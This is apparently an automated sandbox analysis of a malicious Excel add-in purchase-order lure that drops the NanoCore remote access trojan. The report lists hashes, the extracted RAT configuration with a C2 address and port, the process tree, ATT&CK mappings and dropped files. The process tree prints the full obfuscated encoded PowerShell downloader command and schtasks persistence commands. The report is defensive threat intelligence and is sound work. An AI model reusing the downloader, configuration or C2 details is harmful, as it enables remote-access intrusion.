Analysis

  • max time kernel
    138s
  • max time network
    152s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    15-09-2021 06:13

General

  • Target

    PO#903_2224_goods_or_products.xlam

  • Size

    16KB

  • MD5

    4ebd33453a236ae8acf90950dee8a2e4

  • SHA1

    47bc4545040e4eb1941668f4d8ae58edb82dfb79

  • SHA256

    1d861fe866c91352205c166147ddf186de606b9d7cf13667cb382b38519e3426

  • SHA512

    7605acceab9052932e55f2d569d3b4d3d7693f98838c6c56c302ce5b65ee793dfa5fa0cec719d96b97fd80da95e96e3f421effedf19a3cc0d45ed42acefec146

Malware Config

Extracted

Family

nanocore

Version

1.2.2.0

C2

185.140.53.52:4488

Mutex

f373bcfb-36f5-4636-8770-9da829010f62

Attributes
  • activate_away_mode

    true

  • backup_connection_host

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2021-06-03T23:05:48.798919236Z

  • bypass_user_account_control

    false

  • bypass_user_account_control_data

    PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTE2Ij8+DQo8VGFzayB2ZXJzaW9uPSIxLjIiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL3dpbmRvd3MvMjAwNC8wMi9taXQvdGFzayI+DQogIDxSZWdpc3RyYXRpb25JbmZvIC8+DQogIDxUcmlnZ2VycyAvPg0KICA8UHJpbmNpcGFscz4NCiAgICA8UHJpbmNpcGFsIGlkPSJBdXRob3IiPg0KICAgICAgPExvZ29uVHlwZT5JbnRlcmFjdGl2ZVRva2VuPC9Mb2dvblR5cGU+DQogICAgICA8UnVuTGV2ZWw+SGlnaGVzdEF2YWlsYWJsZTwvUnVuTGV2ZWw+DQogICAgPC9QcmluY2lwYWw+DQogIDwvUHJpbmNpcGFscz4NCiAgPFNldHRpbmdzPg0KICAgIDxNdWx0aXBsZUluc3RhbmNlc1BvbGljeT5QYXJhbGxlbDwvTXVsdGlwbGVJbnN0YW5jZXNQb2xpY3k+DQogICAgPERpc2FsbG93U3RhcnRJZk9uQmF0dGVyaWVzPmZhbHNlPC9EaXNhbGxvd1N0YXJ0SWZPbkJhdHRlcmllcz4NCiAgICA8U3RvcElmR29pbmdPbkJhdHRlcmllcz5mYWxzZTwvU3RvcElmR29pbmdPbkJhdHRlcmllcz4NCiAgICA8QWxsb3dIYXJkVGVybWluYXRlPnRydWU8L0FsbG93SGFyZFRlcm1pbmF0ZT4NCiAgICA8U3RhcnRXaGVuQXZhaWxhYmxlPmZhbHNlPC9TdGFydFdoZW5BdmFpbGFibGU+DQogICAgPFJ1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+ZmFsc2U8L1J1bk9ubHlJZk5ldHdvcmtBdmFpbGFibGU+DQogICAgPElkbGVTZXR0aW5ncz4NCiAgICAgIDxTdG9wT25JZGxlRW5kPmZhbHNlPC9TdG9wT25JZGxlRW5kPg0KICAgICAgPFJlc3RhcnRPbklkbGU+ZmFsc2U8L1Jlc3RhcnRPbklkbGU+DQogICAgPC9JZGxlU2V0dGluZ3M+DQogICAgPEFsbG93U3RhcnRPbkRlbWFuZD50cnVlPC9BbGxvd1N0YXJ0T25EZW1hbmQ+DQogICAgPEVuYWJsZWQ+dHJ1ZTwvRW5hYmxlZD4NCiAgICA8SGlkZGVuPmZhbHNlPC9IaWRkZW4+DQogICAgPFJ1bk9ubHlJZklkbGU+ZmFsc2U8L1J1bk9ubHlJZklkbGU+DQogICAgPFdha2VUb1J1bj5mYWxzZTwvV2FrZVRvUnVuPg0KICAgIDxFeGVjdXRpb25UaW1lTGltaXQ+UFQwUzwvRXhlY3V0aW9uVGltZUxpbWl0Pg0KICAgIDxQcmlvcml0eT40PC9Qcmlvcml0eT4NCiAgPC9TZXR0aW5ncz4NCiAgPEFjdGlvbnMgQ29udGV4dD0iQXV0aG9yIj4NCiAgICA8RXhlYz4NCiAgICAgIDxDb21tYW5kPiIjRVhFQ1VUQUJMRVBBVEgiPC9Db21tYW5kPg0KICAgICAgPEFyZ3VtZW50cz4kKEFyZzApPC9Bcmd1bWVudHM+DQogICAgPC9FeGVjPg0KICA8L0FjdGlvbnM+DQo8L1Rhc2s+

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    4488

  • default_group

    AUGUST

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    f373bcfb-36f5-4636-8770-9da829010f62

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    185.140.53.52

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    false

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 33 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO#903_2224_goods_or_products.xlam"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:664
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c PO^w^Ers^HE^LL -E WwBTAFkAUwBUAGUATQAuAFQAZQBYAHQALgBFAG4AQwBPAGQAaQBuAGcAXQA6ADoAdQBOAEkAQwBvAGQAZQAuAGcAZQB0AHMAdABSAEkATgBHACgAWwBTAFkAUwBUAEUAbQAuAGMAbwBOAHYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABzAFQAUgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAawBBAGQAZwBCADIAQQBIAFUAQQBkAFEAQgBoAEEASABjAEEAWQBnAEIANgBBAEcANABBAGEAZwBCAHUAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYgBRAEIAcgBBAEgAYwBBAGEAUQBCAGgAQQBIAFkAQQBZAHcAQgA0AEEARwB3AEEAYQB3AEIAMgBBAEgAWQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAxAEEASABjAEEAYgB3AEIAbQBBAEgAVQBBAGEAZwBCAHoAQQBIAGcAQQBaAGcAQgBoAEEARwBJAEEAYQBBAEIAaABBAEgAVQBBAFkAZwBCADIAQQBHAGsAQQBjAHcAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAEoAQQBFADAAQQBVAEEAQgBQAEEASABJAEEAZABBAEEAdABBAEUAMABBAFQAdwBCAGsAQQBIAFUAQQBiAEEAQgBsAEEAQwBBAEEAUQBnAEIAcABBAEYAUQBBAGMAdwBCADAAQQBGAEkAQQBZAFEAQgBPAEEARgBNAEEAWgBnAEIARgBBAEYASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgBVAEEARwBFAEEAVQBnAEIAVQBBAEMAMABBAFkAZwBCAHAAQQBIAFEAQQBjAHcAQgAwAEEARgBJAEEAWQBRAEIATwBBAEgATQBBAFoAZwBCAEYAQQBGAEkAQQBJAEEAQQB0AEEARgBNAEEAVAB3AEIAVgBBAEgASQBBAFEAdwBCAGwAQQBDAEEAQQBKAEEAQgB0AEEARwBzAEEAZAB3AEIAcABBAEcARQBBAGQAZwBCAGoAQQBIAGcAQQBiAEEAQgByAEEASABZAEEAZABnAEEAZwBBAEMAMABBAFIAQQBCAGwAQQBGAE0AQQBkAEEAQgBKAEEARQA0AEEAWQBRAEIAMABBAEUAawBBAFQAdwBCAE8AQQBDAEEAQQBKAEEAQgAxAEEASABjAEEAYgB3AEIAbQBBAEgAVQBBAGEAZwBCAHoAQQBIAGcAQQBaAGcAQgBoAEEARwBJAEEAYQBBAEIAaABBAEgAVQBBAFkAZwBCADIAQQBHAGsAQQBjAHcAQQA3AEEAQwBBAEEASgBnAEEAZwBBAEMAUQBBAGQAUQBCADMAQQBHADgAQQBaAGcAQgAxAEEARwBvAEEAYwB3AEIANABBAEcAWQBBAFkAUQBCAGkAQQBHAGcAQQBZAFEAQgAxAEEARwBJAEEAZABnAEIAcABBAEgATQBBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEcAcwBBAGQAZwBCAHgAQQBHAFkAQQBaAGcAQgBoAEEASABjAEEAYwBBAEIAbwBBAEgAYwBBAGEAZwBCAHYAQQBHAGcAQQBhAFEAQgBxAEEARwA0AEEAYQBBAEIAawBBAEcAcwBBAGIAZwBCAGwAQQBIAFUAQQBjAGcAQgBuAEEASABrAEEAWgBnAEEAOQBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBVAEEARQBVAEEAVABRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAGsAQQBiAFEAQgBtAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AGkAZQB4AA==
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        POwErsHELL -E WwBTAFkAUwBUAGUATQAuAFQAZQBYAHQALgBFAG4AQwBPAGQAaQBuAGcAXQA6ADoAdQBOAEkAQwBvAGQAZQAuAGcAZQB0AHMAdABSAEkATgBHACgAWwBTAFkAUwBUAEUAbQAuAGMAbwBOAHYAZQByAFQAXQA6ADoAZgBSAG8AbQBCAGEAcwBlADYANABzAFQAUgBJAE4ARwAoACIAZABBAEIAeQBBAEgAawBBAEkAQQBCADcAQQBHAFkAQQBiAHcAQgB5AEEAQwBBAEEASwBBAEEAawBBAEcAawBBAFAAUQBBAHgAQQBEAHMAQQBJAEEAQQBrAEEARwBrAEEASQBBAEEAdABBAEcAdwBBAFoAUQBBAGcAQQBEAEUAQQBNAGcAQQB3AEEARABBAEEATQBBAEEANwBBAEMAQQBBAEoAQQBCAHAAQQBDAHMAQQBLAHcAQQBwAEEAQwBBAEEAZQB3AEEAawBBAEcAawBBAEwAQQBBAGkAQQBHAEEAQQBiAGcAQQBpAEEASAAwAEEAZgBRAEEAZwBBAEcATQBBAFkAUQBCADAAQQBHAE0AQQBhAEEAQgA3AEEASAAwAEEARABRAEEASwBBAEcAWQBBAGQAUQBCAHUAQQBHAE0AQQBkAEEAQgBwAEEARwA4AEEAYgBnAEEAZwBBAEcAawBBAGQAZwBCADIAQQBIAFUAQQBkAFEAQgBoAEEASABjAEEAWQBnAEIANgBBAEcANABBAGEAZwBCAHUAQQBDAEEAQQBLAEEAQQBnAEEAQwBRAEEAYgBRAEIAcgBBAEgAYwBBAGEAUQBCAGgAQQBIAFkAQQBZAHcAQgA0AEEARwB3AEEAYQB3AEIAMgBBAEgAWQBBAEkAQQBBAHMAQQBDAEEAQQBKAEEAQgAxAEEASABjAEEAYgB3AEIAbQBBAEgAVQBBAGEAZwBCAHoAQQBIAGcAQQBaAGcAQgBoAEEARwBJAEEAYQBBAEIAaABBAEgAVQBBAFkAZwBCADIAQQBHAGsAQQBjAHcAQQBnAEEAQwBrAEEARABRAEEASwBBAEgAcwBBAEkAQQBCAEoAQQBFADAAQQBVAEEAQgBQAEEASABJAEEAZABBAEEAdABBAEUAMABBAFQAdwBCAGsAQQBIAFUAQQBiAEEAQgBsAEEAQwBBAEEAUQBnAEIAcABBAEYAUQBBAGMAdwBCADAAQQBGAEkAQQBZAFEAQgBPAEEARgBNAEEAWgBnAEIARgBBAEYASQBBAE8AdwBBAE4AQQBBAG8AQQBjAHcAQgBVAEEARwBFAEEAVQBnAEIAVQBBAEMAMABBAFkAZwBCAHAAQQBIAFEAQQBjAHcAQgAwAEEARgBJAEEAWQBRAEIATwBBAEgATQBBAFoAZwBCAEYAQQBGAEkAQQBJAEEAQQB0AEEARgBNAEEAVAB3AEIAVgBBAEgASQBBAFEAdwBCAGwAQQBDAEEAQQBKAEEAQgB0AEEARwBzAEEAZAB3AEIAcABBAEcARQBBAGQAZwBCAGoAQQBIAGcAQQBiAEEAQgByAEEASABZAEEAZABnAEEAZwBBAEMAMABBAFIAQQBCAGwAQQBGAE0AQQBkAEEAQgBKAEEARQA0AEEAWQBRAEIAMABBAEUAawBBAFQAdwBCAE8AQQBDAEEAQQBKAEEAQgAxAEEASABjAEEAYgB3AEIAbQBBAEgAVQBBAGEAZwBCAHoAQQBIAGcAQQBaAGcAQgBoAEEARwBJAEEAYQBBAEIAaABBAEgAVQBBAFkAZwBCADIAQQBHAGsAQQBjAHcAQQA3AEEAQwBBAEEASgBnAEEAZwBBAEMAUQBBAGQAUQBCADMAQQBHADgAQQBaAGcAQgAxAEEARwBvAEEAYwB3AEIANABBAEcAWQBBAFkAUQBCAGkAQQBHAGcAQQBZAFEAQgAxAEEARwBJAEEAZABnAEIAcABBAEgATQBBAE8AdwBBAGcAQQBIADAAQQBkAEEAQgB5AEEASABrAEEAZQB3AEEAawBBAEcAcwBBAGQAZwBCAHgAQQBHAFkAQQBaAGcAQgBoAEEASABjAEEAYwBBAEIAbwBBAEgAYwBBAGEAZwBCAHYAQQBHAGcAQQBhAFEAQgBxAEEARwA0AEEAYQBBAEIAawBBAEcAcwBBAGIAZwBCAGwAQQBIAFUAQQBjAGcAQgBuAEEASABrAEEAWgBnAEEAOQBBAEMAUQBBAFoAUQBCAHUAQQBIAFkAQQBPAGcAQgBVAEEARQBVAEEAVABRAEIAUQBBAEMAcwBBAEoAdwBCAGMAQQBHAGsAQQBiAFEAQgBtAEEAQwA0AEEAWgBRAEIANABBAEcAVQBBAEoAdwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgBwAEEASABZAEEAZABnAEIAMQBBAEgAVQBBAFkAUQBCADMAQQBHAEkAQQBlAGcAQgB1AEEARwBvAEEAYgBnAEEAZwBBAEMAYwBBAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGMAZwBCAHAAQQBHAEUAQQBiAEEAQgB0AEEASABJAEEATABnAEIAagBBAEcAOABBAGIAUQBBAHUAQQBHAEUAQQBjAGcAQQB2AEEARwBFAEEAZABRAEIAbgBBAEMAOABBAFkAUQBCAGkAQQBHAFUAQQBaAHcAQQB1AEEARwBVAEEAZQBBAEIAbABBAEMAYwBBAEkAQQBBAGsAQQBHAHMAQQBkAGcAQgB4AEEARwBZAEEAWgBnAEIAaABBAEgAYwBBAGMAQQBCAG8AQQBIAGMAQQBhAGcAQgB2AEEARwBnAEEAYQBRAEIAcQBBAEcANABBAGEAQQBCAGsAQQBHAHMAQQBiAGcAQgBsAEEASABVAEEAYwBnAEIAbgBBAEgAawBBAFoAZwBBADcAQQBBADAAQQBDAGcAQgA5AEEARwBNAEEAWQBRAEIAMABBAEcATQBBAGEAQQBCADcAQQBIADAAQQAiACkAKQB8AGkAZQB4AA==
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2724
        • C:\Users\Admin\AppData\Local\Temp\imf.exe
          "C:\Users\Admin\AppData\Local\Temp\imf.exe"
          4⤵
          • Suspicious use of SetThreadContext
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3268
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 20
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3756
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Qzwrlzhuazpf.vbs"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:3308
            • C:\Users\Admin\AppData\Local\Temp\Zmbvtlrendzxjyiwyialbskbee.exe
              "C:\Users\Admin\AppData\Local\Temp\Zmbvtlrendzxjyiwyialbskbee.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1660
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 20
                7⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:3980
          • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
            C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
            5⤵
            • Executes dropped EXE
            • Adds Run key to start application
            • Checks whether UAC is enabled
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: GetForegroundWindowSpam
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3152
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks.exe" /create /f /tn "UPNP Subsystem" /xml "C:\Users\Admin\AppData\Local\Temp\tmp491B.tmp"
              6⤵
              • Creates scheduled task(s)
              PID:784
            • C:\Windows\SysWOW64\schtasks.exe
              "schtasks.exe" /create /f /tn "UPNP Subsystem Task" /xml "C:\Users\Admin\AppData\Local\Temp\tmp4A25.tmp"
              6⤵
              • Creates scheduled task(s)
              PID:1960

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

1
T1112

Discovery

System Information Discovery

4
T1082

Query Registry

2
T1012

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
    MD5

    66382a4ca6c4dcf75ce41417d44be93e

    SHA1

    8132cbef1c12f8a89a68a6153ade4286bf130812

    SHA256

    a70acce0f4c6ab59b88ce79d84c38d4abffe19b72b033250499b17d788a2db56

    SHA512

    2bf66f2850f4a65220085c55a5b3c8866453104d78fe516e5bd6e3e47df783062ce4ea10de580f2eb0274ac8c3ce71965201c49ef55a78f307731ccc8600aadc

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
    MD5

    5f640bd48e2547b4c1a7421f080f815f

    SHA1

    a8f4a743f5b7da5cba7b8e6fb1d7ad4d67fefc6a

    SHA256

    916c83c7c8d059aea295523b8b3f24e1e2436df894f7fae26c47c9bad04baa9c

    SHA512

    a6ac100a351946b1bbb40c98aeda6e16e12f90f81063aff08c16d4d9afec8ed65c2cbcf25b42946627d67653f75740b1137dab625c99e9492ba35aba68b79a8e

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    4b79347b2d36cfe7b006390252371a73

    SHA1

    bb14bae6234d826fc5902e3d059fc4abae820d7c

    SHA256

    285bccb6504cea88441969f29db90f4b399f191c89d834fadf77b92f70011535

    SHA512

    bf5f63ddf477bada17535ad5382e6062766447e1d0c25d0bb07de69e1ac62adb2330a63cacc3234c59b3336d20fec78c0ae25641e87b578a43ddaa12b7a2f138

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    MD5

    8708b2e6ecfbad3af21fa9a6f1b89548

    SHA1

    d003b232bff1cdbff8fc1fd8ffcb6c7ba91b1897

    SHA256

    3a4f46169a418638d4e4726b309d3588f13719e14e5c51125549f49a61a213b3

    SHA512

    1ef50f3e14e140137720daf192186b9fd296bf0f26c12cff113d84832b508ee9aef8dcef3197bfebda80df2d6dda5c3ce31a906031edf5c69d1df61481eba639

  • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
    MD5

    9af17c8393f0970ee5136bd3ffa27001

    SHA1

    4b285b72c1a11285a25f31f2597e090da6bbc049

    SHA256

    71d6a7a3fe5f8dc878cd5bdeca0e09177efb85c01e9a8a10a95262cabefaa019

    SHA512

    b90f7de7d5ce72dccb264c7ba609e173c529b9d99ed9a63f88632bc58b1a994bbb727365f519c73b979f8918bd6de3c39a9f0347eb3a4bccdce4b2772a6516a3

  • C:\Users\Admin\AppData\Local\Temp\MSBuild.exe
    MD5

    9af17c8393f0970ee5136bd3ffa27001

    SHA1

    4b285b72c1a11285a25f31f2597e090da6bbc049

    SHA256

    71d6a7a3fe5f8dc878cd5bdeca0e09177efb85c01e9a8a10a95262cabefaa019

    SHA512

    b90f7de7d5ce72dccb264c7ba609e173c529b9d99ed9a63f88632bc58b1a994bbb727365f519c73b979f8918bd6de3c39a9f0347eb3a4bccdce4b2772a6516a3

  • C:\Users\Admin\AppData\Local\Temp\Qzwrlzhuazpf.vbs
    MD5

    6affc56d3dd953bbc55eacc714c43ef5

    SHA1

    b9db4b576bd63d8e9cf6e9ab8a44a0e919dde203

    SHA256

    174e8c2817c39db97ef2dbcd861ba001dec361882f76160baeae76c981770033

    SHA512

    68cc3b3fd30796fc24cfb325725327cdbe6fe95d42e4de565c614f6d2322785f257c2e601f55c2dbec3664e9f4c7dd50c8374dcc6582e824f4cb32b56fe182e2

  • C:\Users\Admin\AppData\Local\Temp\Zmbvtlrendzxjyiwyialbskbee.exe
    MD5

    15402b5a8dd17b645f9a4ac368c4bb52

    SHA1

    f4255f5a198e113278d9881eb27d20d2b45e4f4a

    SHA256

    20274bafeb32fa33aee7544a31e586221fb2f828d26c72d40c21b15146fec05d

    SHA512

    2d9853cbab2e0bb267c16012caf96bda4d8bcb987bda5ecda370e60468b761941a09cc6114e86906a155d0baf0041e24ffe31fc54a7686574eb8f55c4e4cb689

  • C:\Users\Admin\AppData\Local\Temp\Zmbvtlrendzxjyiwyialbskbee.exe
    MD5

    15402b5a8dd17b645f9a4ac368c4bb52

    SHA1

    f4255f5a198e113278d9881eb27d20d2b45e4f4a

    SHA256

    20274bafeb32fa33aee7544a31e586221fb2f828d26c72d40c21b15146fec05d

    SHA512

